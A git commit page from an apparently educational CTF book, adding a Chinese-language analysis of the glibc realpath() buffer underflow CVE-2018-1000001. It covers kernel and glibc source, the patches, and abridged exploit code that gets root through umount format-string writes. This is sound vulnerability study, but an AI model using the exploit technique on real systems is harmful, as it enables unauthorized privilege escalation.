mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
finish 7.1.5
This commit is contained in:
parent
5c1e49715e
commit
cab884d01c
@ -3,12 +3,15 @@
|
|||||||
- [漏洞描述](#漏洞描述)
|
- [漏洞描述](#漏洞描述)
|
||||||
- [漏洞复现](#漏洞复现)
|
- [漏洞复现](#漏洞复现)
|
||||||
- [漏洞分析](#漏洞分析)
|
- [漏洞分析](#漏洞分析)
|
||||||
|
- [Exploit](#exploit)
|
||||||
- [参考资料](#参考资料)
|
- [参考资料](#参考资料)
|
||||||
|
|
||||||
|
|
||||||
[下载文件](../src/exploit/7.1.5_glibc_2018–1000001)
|
[下载文件](../src/exploit/7.1.5_glibc_2018-1000001)
|
||||||
|
|
||||||
## 漏洞描述
|
## 漏洞描述
|
||||||
|
该漏洞涉及到 Linux 内核的 `getcwd` 系统调用和 glibc 的 `realpath()` 函数,可以实现本地提权。漏洞产生的原因是 `getcwd` 系统调用在 Linux-2.6.36 版本发生的一些变化,我们知道 `getcwd` 用于返回当前工作目录的绝对路径,但如果当前目录不属于当前进程的根目录,即从当前根目录不能访问到该目录,如该进程使用 `chroot()` 设置了一个新的文件系统根目录,但没有将当前目录的根目录替换成新地址的时候,`getcwd` 会在返回的路径前加上 `(unreachable)`。通过改变当前目录到另一个挂载的用户空间,普通用户也可以完成这样的操作。然后返回的这个非绝对地址的字符串会在 `realpath()` 函数中发生缓冲区下溢,从而导致任意代码执行,再利用 SUID 程序即可获得目标系统上的 root 权限。
|
||||||
|
|
||||||
|
|
||||||
## 漏洞复现
|
## 漏洞复现
|
||||||
| |推荐使用的环境 | 备注 |
|
| |推荐使用的环境 | 备注 |
|
||||||
@ -17,6 +20,7 @@
|
|||||||
| 调试器 | gdb-peda| 版本号:7.11.1 |
|
| 调试器 | gdb-peda| 版本号:7.11.1 |
|
||||||
| 漏洞软件 | glibc | 版本号:2.23-0ubuntu9 |
|
| 漏洞软件 | glibc | 版本号:2.23-0ubuntu9 |
|
||||||
|
|
||||||
|
漏洞发现者已经公开了漏洞利用代码,需要注意的是其所支持的系统被硬编码进了利用代码中,可看情况进行修改。[地址](https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/RationalLove.c)
|
||||||
```
|
```
|
||||||
$ gcc -g exp.c
|
$ gcc -g exp.c
|
||||||
$ id
|
$ id
|
||||||
@ -44,41 +48,203 @@ uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plug
|
|||||||
# ls -l a.out
|
# ls -l a.out
|
||||||
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out
|
-rwsr-xr-x 1 root root 44152 Feb 1 03:28 a.out
|
||||||
```
|
```
|
||||||
|
过程是先利用漏洞将可执行程序自己变成一个 SUID 程序,然后执行该程序即可从普通用户提权到 root 用户。
|
||||||
|
|
||||||
|
|
||||||
## 漏洞分析
|
## 漏洞分析
|
||||||
|
`getcwd()` 的原型如下:
|
||||||
|
```c
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
char *getcwd(char *buf, size_t size);
|
||||||
|
```
|
||||||
|
它用于得到一个以 null 结尾的字符串,内容是当前进程的当前工作的绝对路径。并以保存到参数 buf 中的形式返回。
|
||||||
|
|
||||||
|
首先从 Linux 内核方面来看,在 2.6.36 版本的 [vfs: show unreachable paths in getcwd and proc](https://github.com/torvalds/linux/commit/8df9d1a4142311c084ffeeacb67cd34d190eff74) 这次提交,使得当目录不可到达时,会在返回的目录字符串前面加上 `(unreachable)`:
|
||||||
|
```c
|
||||||
|
// fs/dcache.c
|
||||||
|
|
||||||
|
static int prepend_unreachable(char **buffer, int *buflen)
|
||||||
|
{
|
||||||
|
return prepend(buffer, buflen, "(unreachable)", 13);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int prepend(char **buffer, int *buflen, const char *str, int namelen)
|
||||||
|
{
|
||||||
|
*buflen -= namelen;
|
||||||
|
if (*buflen < 0)
|
||||||
|
return -ENAMETOOLONG;
|
||||||
|
*buffer -= namelen;
|
||||||
|
memcpy(*buffer, str, namelen);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* NOTE! The user-level library version returns a
|
||||||
|
* character pointer. The kernel system call just
|
||||||
|
* returns the length of the buffer filled (which
|
||||||
|
* includes the ending '\0' character), or a negative
|
||||||
|
* error value. So libc would do something like
|
||||||
|
*
|
||||||
|
* char *getcwd(char * buf, size_t size)
|
||||||
|
* {
|
||||||
|
* int retval;
|
||||||
|
*
|
||||||
|
* retval = sys_getcwd(buf, size);
|
||||||
|
* if (retval >= 0)
|
||||||
|
* return buf;
|
||||||
|
* errno = -retval;
|
||||||
|
* return NULL;
|
||||||
|
* }
|
||||||
|
*/
|
||||||
|
SYSCALL_DEFINE2(getcwd, char __user *, buf, unsigned long, size)
|
||||||
|
{
|
||||||
|
int error;
|
||||||
|
struct path pwd, root;
|
||||||
|
char *page = __getname();
|
||||||
|
|
||||||
|
if (!page)
|
||||||
|
return -ENOMEM;
|
||||||
|
|
||||||
|
rcu_read_lock();
|
||||||
|
get_fs_root_and_pwd_rcu(current->fs, &root, &pwd);
|
||||||
|
|
||||||
|
error = -ENOENT;
|
||||||
|
if (!d_unlinked(pwd.dentry)) {
|
||||||
|
unsigned long len;
|
||||||
|
char *cwd = page + PATH_MAX;
|
||||||
|
int buflen = PATH_MAX;
|
||||||
|
|
||||||
|
prepend(&cwd, &buflen, "\0", 1);
|
||||||
|
error = prepend_path(&pwd, &root, &cwd, &buflen);
|
||||||
|
rcu_read_unlock();
|
||||||
|
|
||||||
|
if (error < 0)
|
||||||
|
goto out;
|
||||||
|
|
||||||
|
/* Unreachable from current root */
|
||||||
|
if (error > 0) {
|
||||||
|
error = prepend_unreachable(&cwd, &buflen); // 当路径不可到达时,添加前缀
|
||||||
|
if (error)
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
error = -ERANGE;
|
||||||
|
len = PATH_MAX + page - cwd;
|
||||||
|
if (len <= size) {
|
||||||
|
error = len;
|
||||||
|
if (copy_to_user(buf, cwd, len))
|
||||||
|
error = -EFAULT;
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
rcu_read_unlock();
|
||||||
|
}
|
||||||
|
|
||||||
|
out:
|
||||||
|
__putname(page);
|
||||||
|
return error;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
可以看到在引进了 unreachable 这种情况后,仅仅判断返回值大于零是不够的,它并不能很好地区分开究竟是绝对路径还是不可到达路径。然而很可惜的是,glibc 就是这样做的,它默认了返回的 buf 就是绝对地址。当然也是由于历史原因,在修订 `getcwd` 系统调用之前,glibc 中的 `getcwd()` 库函数就已经写好了,于是遗留下了这个不匹配的问题。
|
||||||
|
|
||||||
|
从 glibc 方面来看,由于它仍然假设 `getcwd` 将返回绝对地址,所以在函数 `realpath()` 中,仅仅依靠 `name[0] != '/'` 就断定参数是一个相对路径,而忽略了以 `(` 开头的不可到达路径。
|
||||||
|
|
||||||
|
`__realpath()` 用于将 `path` 所指向的相对路径转换成绝对路径,其间会将所有的符号链接展开并解析 `/./`、`/../` 和多于的 `/`。然后存放到 `resolved_path` 指向的地址中,具体实现如下:
|
||||||
|
```c
|
||||||
|
// stdlib/canonicalize.c
|
||||||
|
|
||||||
|
char *
|
||||||
|
__realpath (const char *name, char *resolved)
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
if (name[0] != '/') // 判断是否为绝对路径
|
||||||
|
{
|
||||||
|
if (!__getcwd (rpath, path_max)) // 调用 getcwd() 函数
|
||||||
|
{
|
||||||
|
rpath[0] = '\0';
|
||||||
|
goto error;
|
||||||
|
}
|
||||||
|
dest = __rawmemchr (rpath, '\0');
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
rpath[0] = '/';
|
||||||
|
dest = rpath + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (start = end = name; *start; start = end) // 每次循环处理路径中的一段
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
/* Find end of path component. */
|
||||||
|
for (end = start; *end && *end != '/'; ++end) // end 标记一段路径的末尾
|
||||||
|
/* Nothing. */;
|
||||||
|
|
||||||
|
if (end - start == 0)
|
||||||
|
break;
|
||||||
|
else if (end - start == 1 && start[0] == '.') // 当路径为 "." 的情况时
|
||||||
|
/* nothing */;
|
||||||
|
else if (end - start == 2 && start[0] == '.' && start[1] == '.') // 当路径为 ".." 的情况时
|
||||||
|
{
|
||||||
|
/* Back up to previous component, ignore if at root already. */
|
||||||
|
if (dest > rpath + 1)
|
||||||
|
while ((--dest)[-1] != '/'); // 回溯,如果 rpath 中没有 '/',发生下溢出
|
||||||
|
}
|
||||||
|
else // 路径组成中没有 "." 和 ".." 的情况时,复制 name 到 dest
|
||||||
|
{
|
||||||
|
size_t new_size;
|
||||||
|
|
||||||
|
if (dest[-1] != '/')
|
||||||
|
*dest++ = '/';
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
当传入的 name 不是一个绝对路径,比如 `../../x`,`realpath()` 将会使用当前工作目录来进行解析,而且默认了它以 `/` 开头。解析过程是从后先前进行的,当遇到 `../` 的时候,就会跳到前一个 `/`,但这里存在一个问题,没有对缓冲区边界进行检查,如果缓冲区不是以 `/` 开头,则函数会越过缓冲区,发生溢出。所以当 `getcwd` 返回的是一个不可到达路径 `(unreachable)/` 时,`../../x` 的第二个 `../` 就已经越过了缓冲区,然后 `x` 就会被复制到这个越界的地址处。
|
||||||
|
|
||||||
#### 补丁
|
#### 补丁
|
||||||
|
漏洞发现者也给出了它自己的补丁,在发生溢出的地方加了一个判断,当 `dest == rpath` 的时候,如果 `*dest != '/'`,则说明该路径不是以 `/` 开头,便触发报错。
|
||||||
```diff
|
```diff
|
||||||
$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat
|
--- stdlib/canonicalize.c 2018-01-05 07:28:38.000000000 +0000
|
||||||
commit 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94
|
+++ stdlib/canonicalize.c 2018-01-05 14:06:22.000000000 +0000
|
||||||
Author: Dmitry V. Levin <ldv@altlinux.org>
|
@@ -91,6 +91,11 @@
|
||||||
Date: Sun Jan 7 02:03:41 2018 +0000
|
goto error;
|
||||||
|
}
|
||||||
linux: make getcwd(3) fail if it cannot obtain an absolute path [BZ #22679]
|
dest = __rawmemchr (rpath, '\0');
|
||||||
|
+/* If path is empty, kernel failed in some ugly way. Realpath
|
||||||
Currently getcwd(3) can succeed without returning an absolute path
|
+has no error code for that, so die here. Otherwise search later
|
||||||
because the underlying getcwd syscall, starting with linux commit
|
+on would cause an underrun when getcwd() returns an empty string.
|
||||||
v2.6.36-rc1~96^2~2, may succeed without returning an absolute path.
|
+Thanks Willy Tarreau for pointing that out. */
|
||||||
|
+ assert (dest != rpath);
|
||||||
This is a conformance issue because "The getcwd() function shall
|
}
|
||||||
place an absolute pathname of the current working directory
|
else
|
||||||
in the array pointed to by buf, and return buf".
|
{
|
||||||
|
@@ -118,8 +123,17 @@
|
||||||
This is also a security issue because a non-absolute path returned
|
else if (end - start == 2 && start[0] == '.' && start[1] == '.')
|
||||||
by getcwd(3) causes a buffer underflow in realpath(3).
|
{
|
||||||
|
/* Back up to previous component, ignore if at root already. */
|
||||||
Fix this by checking the path returned by getcwd syscall and falling
|
- if (dest > rpath + 1)
|
||||||
back to generic_getcwd if the path is not absolute, effectively making
|
- while ((--dest)[-1] != '/');
|
||||||
getcwd(3) fail with ENOENT. The error code is chosen for consistency
|
+ dest--;
|
||||||
with the case when the current directory is unlinked.
|
+ while ((dest != rpath) && (*--dest != '/'));
|
||||||
|
+ if ((dest == rpath) && (*dest != '/') {
|
||||||
[BZ #22679]
|
+ /* Return EACCES to stay compliant to current documentation:
|
||||||
CVE-2018-1000001
|
+ "Read or search permission was denied for a component of the
|
||||||
* sysdeps/unix/sysv/linux/getcwd.c (__getcwd): Fall back to
|
+ path prefix." Unreachable root directories should not be
|
||||||
generic_getcwd if the path returned by getcwd syscall is not absolute.
|
+ accessed, see https://www.halfdog.net/Security/2017/LibcRealpathBufferUnderflow/ */
|
||||||
* io/tst-getcwd-abspath.c: New test.
|
+ __set_errno (EACCES);
|
||||||
* io/Makefile (tests): Add tst-getcwd-abspath.
|
+ goto error;
|
||||||
|
+ }
|
||||||
|
+ dest++;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
```
|
||||||
|
但这种方案似乎并没有被合并。
|
||||||
|
|
||||||
|
最终采用的方案是直接从源头来解决,对 `getcwd()` 返回的路径 `path` 进行检查,如果确定 `path[0] == '/'`,说明是绝对路径,返回。否则转到 `generic_getcwd()`(内部函数,源码里看不到)进行处理:
|
||||||
|
```diff
|
||||||
|
$ git show 52a713fdd0a30e1bd79818e2e3c4ab44ddca1a94 sysdeps/unix/sysv/linux/getcwd.c | cat
|
||||||
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
|
diff --git a/sysdeps/unix/sysv/linux/getcwd.c b/sysdeps/unix/sysv/linux/getcwd.c
|
||||||
index f545106289..866b9d26d5 100644
|
index f545106289..866b9d26d5 100644
|
||||||
--- a/sysdeps/unix/sysv/linux/getcwd.c
|
--- a/sysdeps/unix/sysv/linux/getcwd.c
|
||||||
@ -109,6 +275,415 @@ index f545106289..866b9d26d5 100644
|
|||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
## Exploit
|
||||||
|
umount 包含在 util-linux 中,为方便调试,我们重新编译安装一下:
|
||||||
|
```
|
||||||
|
$ sudo apt-get install dpkg-dev automake
|
||||||
|
$ sudo apt-get source util-linux
|
||||||
|
$ cd util-linux-2.27.1
|
||||||
|
$ ./configure
|
||||||
|
$ make && sudo make install
|
||||||
|
$ file /bin/umount
|
||||||
|
/bin/umount: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2104fb4e2c126b9ac812e611b291e034b3c361f2, not stripped
|
||||||
|
```
|
||||||
|
|
||||||
|
exp 的主要分成两个部分:
|
||||||
|
```c
|
||||||
|
int main(int argc, char **argv) {
|
||||||
|
[...]
|
||||||
|
pid_t nsPid=prepareNamespacedProcess();
|
||||||
|
while(excalateCurrentAttempt<escalateMaxAttempts) {
|
||||||
|
[...]
|
||||||
|
attemptEscalation();
|
||||||
|
|
||||||
|
[...]
|
||||||
|
if(statBuf.st_uid==0) {
|
||||||
|
fprintf(stderr, "Executable now root-owned\n");
|
||||||
|
goto escalateOk;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
preReturnCleanup:
|
||||||
|
[...]
|
||||||
|
if(!exitStatus) {
|
||||||
|
fprintf(stderr, "Cleanup completed, re-invoking binary\n");
|
||||||
|
invokeShell("/proc/self/exe");
|
||||||
|
exitStatus=1;
|
||||||
|
}
|
||||||
|
|
||||||
|
escalateOk:
|
||||||
|
exitStatus=0;
|
||||||
|
goto preReturnCleanup;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
- `prepareNamespacedProcess()`:准备一个运行在自己 mount namespace 的进程,并设置好适当的挂载结构。该进程允许程序在结束时可以清除它,从而删除 namespace。
|
||||||
|
- `attemptEscalation()`:调用 umount 来获得 root 权限。
|
||||||
|
|
||||||
|
简单地说一下 mount namespace,它用于隔离文件系统的挂载点,使得不同的 mount namespace 拥有自己独立的不会互相影响的挂载点信息,当前进程所在的 mount namespace 里的所有挂载信息在 `/proc/[pid]/mounts`、`/proc/[pid]/mountinfo` 和 `/proc/[pid]/mountstats` 里面。每个 mount namespace 都拥有一份自己的挂载点列表,当用 clone 或者 unshare 函数创建了新的 mount namespace 时,新创建的 namespace 会复制走一份原来 namespace 里的挂载点列表,但从这之后,两个 namespace 就没有关系了。
|
||||||
|
|
||||||
|
首先为了提权,我们需要一个 SUID 程序,mount 和 umount 是比较好的选择,因为它们都依赖于 `realpath()` 来解析路径,而且能被所有用户使用。其中 umount 又最理想,因为它可以一次运行可以操作多个挂载点,从而可以多次触发到漏洞代码。
|
||||||
|
|
||||||
|
由于 umount 的 `realpath()` 的操作发生在堆上,第一步就得考虑怎样去创造一个可重现的堆布局。通过移除可能造成干扰的环境变量,仅保留 locale 即可做到这一点。locale 在 glibc 或者其它需要本地化的程序和库中被用来解析文本(如时间、日期等),它会在 umount 参数解析之前进行初始化,所以会影响到堆的结构和位于 `realpath()` 函数缓冲区前面的那些低地址的内容。所以漏洞的利用依赖于单个 locale 的可用性,在标准系统中,libc 提供了一个 `/usr/lib/locale/C.UTF-8`,它通过环境变量 `LC_ALL=C.UTF-8` 进行加载。
|
||||||
|
|
||||||
|
在 locale 被设置后,缓冲区下溢将覆盖 locale 中,用于加载 national language support(NLS) 的字符串中的一个 `/`,从而将其更改为相对路径。然后,用户控制的 umount 错误信息的翻译将被加载,使用 fprintf() 函数的 `%n` 格式化字符串,即可对一些内存地址进行写操作。由于 fprintf() 所使用的堆栈布局是固定的,所以可以忽略 ASLR 的影响。于是我们就可以利用该特性覆盖掉 `libmnt_context` 结构体中的 `restricted` 字段:
|
||||||
|
```c
|
||||||
|
// util-linux/libmount/src/mountP.h
|
||||||
|
struct libmnt_context
|
||||||
|
{
|
||||||
|
int action; /* MNT_ACT_{MOUNT,UMOUNT} */
|
||||||
|
int restricted; /* root or not? */
|
||||||
|
|
||||||
|
char *fstype_pattern; /* for mnt_match_fstype() */
|
||||||
|
char *optstr_pattern; /* for mnt_match_options() */
|
||||||
|
|
||||||
|
[...]
|
||||||
|
};
|
||||||
|
```
|
||||||
|
在安装文件系统时,挂载点目录的原始内容会被隐藏起来并且不可用,直到被卸载。但是,挂载点目录的所有者和权限没有被隐藏,其中 `restricted` 标志用于限制堆挂载文件系统的访问。如果我们将该值覆盖,umount 会误以为挂载是从 root 开始的。于是可以通过卸载 root 文件系统做到一个简单的 DoS(如参考文章中所示,可以在Debian下尝试)。
|
||||||
|
|
||||||
|
当然我们使用的 Ubuntu16.04 也是在漏洞利用支持范围内的:
|
||||||
|
```c
|
||||||
|
static char* osSpecificExploitDataList[]={
|
||||||
|
// Ubuntu Xenial libc=2.23-0ubuntu9
|
||||||
|
"\"16.04.3 LTS (Xenial Xerus)\"",
|
||||||
|
"../x/../../AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/A",
|
||||||
|
"_nl_load_locale_from_archive",
|
||||||
|
"\x07\0\0\0\x26\0\0\0\x40\0\0\0\xd0\xf5\x09\x00\xf0\xc1\x0a\x00"
|
||||||
|
};
|
||||||
|
```
|
||||||
|
|
||||||
|
`prepareNamespacedProcess()` 函数如下所示:
|
||||||
|
```c
|
||||||
|
static int usernsChildFunction() {
|
||||||
|
[...]
|
||||||
|
int result=mount("tmpfs", "/tmp", "tmpfs", MS_MGC_VAL, NULL); // 将 tmpfs 类型的文件系统 tmpfs 挂载到 /tmp
|
||||||
|
[...]
|
||||||
|
}
|
||||||
|
|
||||||
|
pid_t prepareNamespacedProcess() {
|
||||||
|
if(namespacedProcessPid==-1) {
|
||||||
|
[...]
|
||||||
|
namespacedProcessPid=clone(usernsChildFunction, stackData+(1<<20),
|
||||||
|
CLONE_NEWUSER|CLONE_NEWNS|SIGCHLD, NULL); // 调用 clone() 创建进程,新进程执行函数 usernsChildFunction()
|
||||||
|
[...]
|
||||||
|
char pathBuffer[PATH_MAX];
|
||||||
|
int result=snprintf(pathBuffer, sizeof(pathBuffer), "/proc/%d/cwd",
|
||||||
|
namespacedProcessPid);
|
||||||
|
char *namespaceMountBaseDir=strdup(pathBuffer); // /proc/[pid]/cwd 是一个符号连接, 指向进程当前的工作目录
|
||||||
|
|
||||||
|
// Create directories needed for umount to proceed to final state
|
||||||
|
// "not mounted".
|
||||||
|
createDirectoryRecursive(namespaceMountBaseDir, "(unreachable)/x"); // 在 cwd 目录下递归创建 (unreachable)/x。下同
|
||||||
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||||
|
"(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES", osReleaseExploitData[2]);
|
||||||
|
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||||
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||||
|
"(unreachable)/tmp/%s/X.X/LC_MESSAGES", osReleaseExploitData[2]);
|
||||||
|
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||||
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||||
|
"(unreachable)/tmp/%s/X.x/LC_MESSAGES", osReleaseExploitData[2]);
|
||||||
|
createDirectoryRecursive(namespaceMountBaseDir, pathBuffer);
|
||||||
|
|
||||||
|
// Create symlink to trigger underflows.
|
||||||
|
result=snprintf(pathBuffer, sizeof(pathBuffer), "%s/(unreachable)/tmp/down",
|
||||||
|
namespaceMountBaseDir);
|
||||||
|
result=symlink(osReleaseExploitData[1], pathBuffer); // 创建名为 pathBuffer 的符号链接
|
||||||
|
[...]
|
||||||
|
|
||||||
|
// Write the initial message catalogue to trigger stack dumping
|
||||||
|
// and to make the "umount" call privileged by toggling the "restricted"
|
||||||
|
// flag in the context.
|
||||||
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||||
|
"%s/(unreachable)/tmp/%s/C.UTF-8/LC_MESSAGES/util-linux.mo",
|
||||||
|
namespaceMountBaseDir, osReleaseExploitData[2]); // 覆盖 "restricted" 标志将赋予 umount 访问已装载文件系统的权限
|
||||||
|
|
||||||
|
[...]
|
||||||
|
char *stackDumpStr=(char*)malloc(0x80+6*(STACK_LONG_DUMP_BYTES/8));
|
||||||
|
char *stackDumpStrEnd=stackDumpStr;
|
||||||
|
stackDumpStrEnd+=sprintf(stackDumpStrEnd, "AA%%%d$lnAAAAAA",
|
||||||
|
((int*)osReleaseExploitData[3])[ED_STACK_OFFSET_CTX]);
|
||||||
|
for(int dumpCount=(STACK_LONG_DUMP_BYTES/8); dumpCount; dumpCount--) { // 通过格式化字符串 dump 栈数据,以对抗 ASLR
|
||||||
|
memcpy(stackDumpStrEnd, "%016lx", 6);
|
||||||
|
stackDumpStrEnd+=6;
|
||||||
|
}
|
||||||
|
|
||||||
|
[...]
|
||||||
|
result=writeMessageCatalogue(pathBuffer,
|
||||||
|
(char*[]){
|
||||||
|
"%s: mountpoint not found",
|
||||||
|
"%s: not mounted",
|
||||||
|
"%s: target is busy\n (In some cases useful info about processes that\n use the device is found by lsof(8) or fuser(1).)"
|
||||||
|
},
|
||||||
|
(char*[]){"1234", stackDumpStr, "5678"},
|
||||||
|
3); // 伪造一个 catalogue,将上面的 stackDumpStr 格式化字符串写进去
|
||||||
|
|
||||||
|
[...]
|
||||||
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||||
|
"%s/(unreachable)/tmp/%s/X.X/LC_MESSAGES/util-linux.mo",
|
||||||
|
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||||
|
secondPhaseTriggerPipePathname=strdup(pathBuffer); // 创建文件
|
||||||
|
|
||||||
|
[...]
|
||||||
|
result=snprintf(pathBuffer, sizeof(pathBuffer),
|
||||||
|
"%s/(unreachable)/tmp/%s/X.x/LC_MESSAGES/util-linux.mo",
|
||||||
|
namespaceMountBaseDir, osReleaseExploitData[2]);
|
||||||
|
secondPhaseCataloguePathname=strdup(pathBuffer); // 创建文件
|
||||||
|
|
||||||
|
return(namespacedProcessPid); // 返回子进程 ID
|
||||||
|
}
|
||||||
|
```
|
||||||
|
所创建的各种类型文件如下:
|
||||||
|
```
|
||||||
|
$ find /proc/10173/cwd/ -type d
|
||||||
|
/proc/10173/cwd/
|
||||||
|
/proc/10173/cwd/(unreachable)
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.x/LC_MESSAGES
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES
|
||||||
|
/proc/10173/cwd/(unreachable)/x
|
||||||
|
$ find /proc/10173/cwd/ -type f
|
||||||
|
/proc/10173/cwd/DATEMSK
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/C.UTF-8/LC_MESSAGES/util-linux.mo
|
||||||
|
/proc/10173/cwd/ready
|
||||||
|
$ find /proc/10173/cwd/ -type l
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/down
|
||||||
|
$ find /proc/10173/cwd/ -type p
|
||||||
|
/proc/10173/cwd/(unreachable)/tmp/_nl_load_locale_from_archive/X.X/LC_MESSAGES/util-linux.mo
|
||||||
|
```
|
||||||
|
|
||||||
|
然后在父进程里可以对子进程进行设置,通过设置 `setgroups` 为 deny,可以限制在新 namespace 里面调用 setgroups() 函数来设置 groups;通过设置 `uid_map` 和 `gid_map`,可以让子进程自己设置好挂载点。结果如下:
|
||||||
|
```
|
||||||
|
$ cat /proc/10173/setgroups
|
||||||
|
deny
|
||||||
|
$ cat /proc/10173/uid_map
|
||||||
|
0 999 1
|
||||||
|
$ cat /proc/10173/gid_map
|
||||||
|
0 999 1
|
||||||
|
```
|
||||||
|
|
||||||
|
这样准备工作就做好了。进入第二部分 `attemptEscalation()` 函数:
|
||||||
|
```c
|
||||||
|
int attemptEscalation() {
|
||||||
|
[...]
|
||||||
|
pid_t childPid=fork();
|
||||||
|
if(!childPid) {
|
||||||
|
[...]
|
||||||
|
result=chdir(targetCwd); // 改变当前工作目录为 targetCwd
|
||||||
|
|
||||||
|
// Create so many environment variables for a kind of "stack spraying".
|
||||||
|
int envCount=UMOUNT_ENV_VAR_COUNT;
|
||||||
|
char **umountEnv=(char**)malloc((envCount+1)*sizeof(char*));
|
||||||
|
umountEnv[envCount--]=NULL;
|
||||||
|
umountEnv[envCount--]="LC_ALL=C.UTF-8";
|
||||||
|
while(envCount>=0) {
|
||||||
|
umountEnv[envCount--]="AANGUAGE=X.X"; // 喷射栈的上部
|
||||||
|
}
|
||||||
|
// Invoke umount first by overwriting heap downwards using links
|
||||||
|
// for "down", then retriggering another error message ("busy")
|
||||||
|
// with hopefully similar same stack layout for other path "/".
|
||||||
|
char* umountArgs[]={umountPathname, "/", "/", "/", "/", "/", "/", "/", "/", "/", "/", "down", "LABEL=78", "LABEL=789", "LABEL=789a", "LABEL=789ab", "LABEL=789abc", "LABEL=789abcd", "LABEL=789abcde", "LABEL=789abcdef", "LABEL=789abcdef0", "LABEL=789abcdef0", NULL};
|
||||||
|
result=execve(umountArgs[0], umountArgs, umountEnv);
|
||||||
|
}
|
||||||
|
[...]
|
||||||
|
int escalationPhase=0;
|
||||||
|
[...]
|
||||||
|
while(1) {
|
||||||
|
if(escalationPhase==2) { // 阶段 2 => case 3
|
||||||
|
result=waitForTriggerPipeOpen(secondPhaseTriggerPipePathname);
|
||||||
|
[...]
|
||||||
|
escalationPhase++;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Wait at most 10 seconds for IO.
|
||||||
|
result=poll(pollFdList, 1, 10000);
|
||||||
|
[...]
|
||||||
|
// Perform the IO operations without blocking.
|
||||||
|
if(pollFdList[0].revents&(POLLIN|POLLHUP)) {
|
||||||
|
result=read(
|
||||||
|
pollFdList[0].fd, readBuffer+readDataLength,
|
||||||
|
sizeof(readBuffer)-readDataLength);
|
||||||
|
[...]
|
||||||
|
readDataLength+=result;
|
||||||
|
|
||||||
|
// Handle the data depending on escalation phase.
|
||||||
|
int moveLength=0;
|
||||||
|
switch(escalationPhase) {
|
||||||
|
case 0: // Initial sync: read A*8 preamble. // 阶段 0,读取我们精心构造的 util-linux.mo 文件中的格式化字符串。成功写入 8*'A' 的 preamble
|
||||||
|
[...]
|
||||||
|
char *preambleStart=memmem(readBuffer, readDataLength,
|
||||||
|
"AAAAAAAA", 8); // 查找内存,设置 preambleStart
|
||||||
|
[...]
|
||||||
|
// We found, what we are looking for. Start reading the stack.
|
||||||
|
escalationPhase++; // 阶段加 1 => case 1
|
||||||
|
moveLength=preambleStart-readBuffer+8;
|
||||||
|
case 1: // Read the stack. // 阶段 1,利用格式化字符串读出栈数据,计算出 libc 等有用的地址以对付 ASLR
|
||||||
|
// Consume stack data until or local array is full.
|
||||||
|
while(moveLength+16<=readDataLength) { // 读取栈数据直到装满
|
||||||
|
result=sscanf(readBuffer+moveLength, "%016lx",
|
||||||
|
(int*)(stackData+stackDataBytes));
|
||||||
|
[...]
|
||||||
|
moveLength+=sizeof(long)*2;
|
||||||
|
stackDataBytes+=sizeof(long);
|
||||||
|
// See if we reached end of stack dump already.
|
||||||
|
if(stackDataBytes==sizeof(stackData))
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if(stackDataBytes!=sizeof(stackData)) // 重复 case 1 直到此条件不成立,即所有数据已经读完
|
||||||
|
break;
|
||||||
|
|
||||||
|
